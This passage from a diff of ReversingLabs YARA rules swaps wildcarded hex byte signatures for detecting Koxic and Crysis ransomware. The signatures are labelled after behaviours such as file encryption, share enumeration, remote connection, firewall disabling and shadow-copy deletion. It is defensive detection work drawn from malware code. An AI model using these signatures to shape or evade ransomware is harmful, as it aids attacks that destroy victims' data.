+            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 0F 66 3B 08 75 ?? 66 85 C9 74 ?? 66 8B 4F ?? 66 3B 48
+            ?? 75 ?? 83 C7 ?? 83 C0 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 85 DB 7F ?? 8B 95 ?? ?? ?? ?? 7C ?? 81
         }
-		$encrypt_files_p2 = {
-            0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ??
-            ?? 83 C4 ?? 33 FF 3B B5 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 3B 85 ?? ?? ?? ?? 0F 85
-            ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ??
-            ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 53 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 85 ?? ?? ??
-            ?? 57 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 57 6A ??
-            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 3B 85 ?? ?? ?? ?? 75 ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 33 FF 56 E8
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 5B 85 C0 74 ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 33 CD
-            5E E8 ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_p4 = {
+            FA ?? ?? ?? ?? 73 ?? 3B D8 0F 8F ?? ?? ?? ?? 7C ?? 3B D1 73 ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 EC ?? 8D 95 ?? ?? ?? ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 84 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 3B D8 7F
+            ?? 7C ?? 8B 85 ?? ?? ?? ?? 3B C1 73 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 3D ??
+            ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ??
+            ?? 85 C0 8B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D
+            ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$disable_fw_and_delete_shadow_volumes = {
-            6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 74 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A
-            ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D7 E9 ?? ??
-            ?? ?? 6A ?? FF 35 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ??
-            50 FF 35 ?? ?? ?? ?? FF D3 6A ?? FF 35 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 8B 48 ?? 51
-            FF 35 ?? ?? ?? ?? FF D3 8B F8 8D 85 ?? ?? ?? ?? 50 FF D6 8D 45 ?? 50 8D 85 ?? ?? ??
-            ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 40 ?? 50 6A ?? FF 95 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ??
-            ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ??
-            FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6
+		$encrypt_files = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8B F1 C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 74 ?? 83 C8 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 56 8D 85 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 0F 57
+            C0 68 ?? ?? ?? ?? 50 F3 0F 7F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ??
+            ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
+            57 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B FF
+            81 FF ?? ?? ?? ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
+            50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75
+            ?? 8B C7 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 BE ?? ?? ?? ?? 2B F0 8D 85 ?? ?? ?? ??
+            56 03 C7 56 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F7 8D 85 ?? ??
+            ?? ?? 56 50 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 6A ?? 50 E8 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ??
+            83 C4 ?? 33 CD 33 C0 5F 5E E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($disable_fw_and_delete_shadow_volumes) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Koxic : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Crysis : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Koxic ransomware."
+		description = "Yara rule that detects Crysis ransomware."
 		author = "ReversingLabs"
-		id = "73c4afb0-cfa8-5bc5-bca3-49a7710f4ab9"
-		date = "2022-04-21"
-		modified = "2022-04-21"
+		id = "bba2bbf5-ff77-5ec4-ae7f-afae1b564fb7"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Koxic.yara#L1-L87"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "739faf047b95fd538422a42943fcaad6538549bf4cf33ed91385c61365af4f09"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Crysis.yara#L1-L108"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3c9250206f94ac65c1fc24e83cf8cdd76d10066086ef1f34ec14791d237c0263"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29980,79 +31526,103 @@ rule REVERSINGLABS_Win32_Ransomware_Koxic : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Koxic"
+		tc_detection_name = "Crysis"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$enum_shares_p1 = {
-            8B 45 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D
-            ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B
-            55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? C1
-            E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B
+		$remote_connection_1 = {
+            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ??
+            6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9
+            ?? ?? ?? ?? 66 89 4D ?? 6A ?? FF 15 ?? ?? ?? ?? 66 89 45 ?? 8B 55 ?? 52 FF 15 ?? ??
+            ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 8B 45 ?? 83 3C 82 ??
+            74 ?? 8B 4D ?? 0F BF 51 ?? 52 8B 45 ?? 8B 48 ?? 8B 55 ?? 8B 04 91 50 8D 4D ?? 51 E8
+            ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A
+            ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ??
+            6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C3
         }
-		$enum_shares_p2 = {
-            54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ??
-            0F B6 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            51 FF 15 ?? ?? ?? ?? 83 E8 ?? 89 45 ?? EB ?? 8B 55 ?? 83 EA ?? 89 55 ?? 83 7D ?? ??
-            0F 8C ?? ?? ?? ?? 8B 45 ?? 0F B7 8C 45 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55
-            ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? C6 45 ?? ?? EB ?? 8B 4D ?? 8D 94 4D ?? ??
-            ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C9 8B 55 ?? 66 89 8C 55 ?? ?? FF
-            FF 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85
-            ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 EA ?? 89
-            55 ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B
-            45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45
-            ?? C1 E0 ?? 03 45 ?? B9 ?? ?? ?? ?? 6B D1 ?? 89 44 15 ?? B8 ?? ?? ?? ?? C1 E0 ?? 8B
-            4D ?? 89 4C 05 ?? BA ?? ?? ?? ?? D1 E2 8B 45 ?? 89 44 15 ?? 8D 4D ?? 51 E8 ?? ?? ??
-            ?? 83 C4 ?? E9 ?? ?? ?? ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? EB ?? 81 7D ?? ?? ?? ??
-            ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85
-            C0 75 ?? B8 ?? ?? ?? ?? EB ?? 33 C0
+		$enumerate_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 33 DB 81 7D ?? ?? ?? ?? ?? 56 57 89 5C 24 ??
+            0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ??
+            57 8B F0 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 6A ??
+            68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 8E ?? ?? ?? ?? 8D 44 24 ?? 50 56
+            FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8D 4C 24 ?? 51 68
+            ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? F6 44 24
+            ?? ?? 74 ?? 66 83 7C 24 ?? ?? 74 ?? 53 8D 54 24 ?? 52 8B D6 8B CF FF 55 ?? 85 C0 7E
+            ?? 8B 45 ?? 8B 4D ?? 40 50 53 51 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 53 8D 54 24 ?? 52
+            8B D6 8B CF FF 55 ?? 85 C0 7E ?? FF 44 24 ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ??
+            ?? ?? ?? 85 C0 7F ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 56 6A ?? FF 15 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3
         }
-		$find_files = {
-            8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 33 D2 8B 45 ?? 66 89 10
-            8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 83 F8 ?? 75 ?? E9 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 44 02 ?? 3D ?? ?? ?? ??
-            72 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B
-            48 ?? 81 79 ?? ?? ?? ?? ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 8B 95 ?? ?? ?? ?? 83
-            E2 ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B 0D ?? ?? ?? ?? 51
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D
-            ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E2 ?? 8B 45 ?? 89 44 15 ?? 8D 4D
-            ?? 51 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 75 ?? 6A ?? A1
+		$enumerate_resources = {
+            FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83
+            ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ??
+            ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B 54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B
+            45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B
+            4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D
+            4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ??
+            50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83
+            C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 83 7C
+            01 ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B
+            54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45
+            ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83
+            E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ??
+            ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5E 8B E5 5D C3
         }
 		$encrypt_files = {
-            8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 7C ?? 83 7D ?? ?? 73 ??
-            E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 4D ?? 2B C8 8B
-            45 ?? 1B C2 89 4D ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 50
-            FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ??
-            81 7D ?? ?? ?? ?? ?? 73 ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 FF
-            15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            EB ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89
-            45
+            55 8B EC 81 EC ?? ?? ?? ?? 53 8B D8 33 C0 56 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 8B
+            45 ?? 6A ?? 50 8D 4D ?? 51 8D 77 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B
+            D3 83 E2 ?? 2B DA 83 EB ?? 83 C4 ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 50 FF D3 89 45 ?? 83
+            F8 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 51 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 81 C2
+            ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? A8 ?? 74 ?? 83 E0 ?? 50 8B
+            45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51
+            FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 33 C0
+            33 C9 51 50 53 89 45 ?? 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ??
+            ?? 75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 53 FF 15 ??
+            ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 75 ?? 3B 4D ?? 73 ?? 8B D1 83 E2 ?? B8 ?? ??
+            ?? ?? 2B C2 89 45 ?? 57 03 C1 8D 8D ?? ?? ?? ?? 57 51 E8 ?? ?? ?? ?? 8B 4D ?? 03 4D
+            ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 51 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B
+            45 ?? 03 45 ?? 39 45 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57
+            50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B 45
+            ?? 83 C4 ?? C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 51 50 56
+            C7 47 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 03 F0 01 45 ?? 8B 55 ?? 6A ??
+            52 56 E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51
+            83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 68
+            ?? ?? ?? ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 83 EE ?? 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 2B F7 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            39 75 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 7D
+            ?? ?? 7E ?? 8B 75 ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 56 FF 15 ?? ?? ?? ?? 56 FF 15
+            ?? ?? ?? ?? 8B 5D ?? 53 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 45 ?? 8B 4D ?? 50 51
+            FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5E 5B 8B E5 5D C3
         }
 
 	condition:
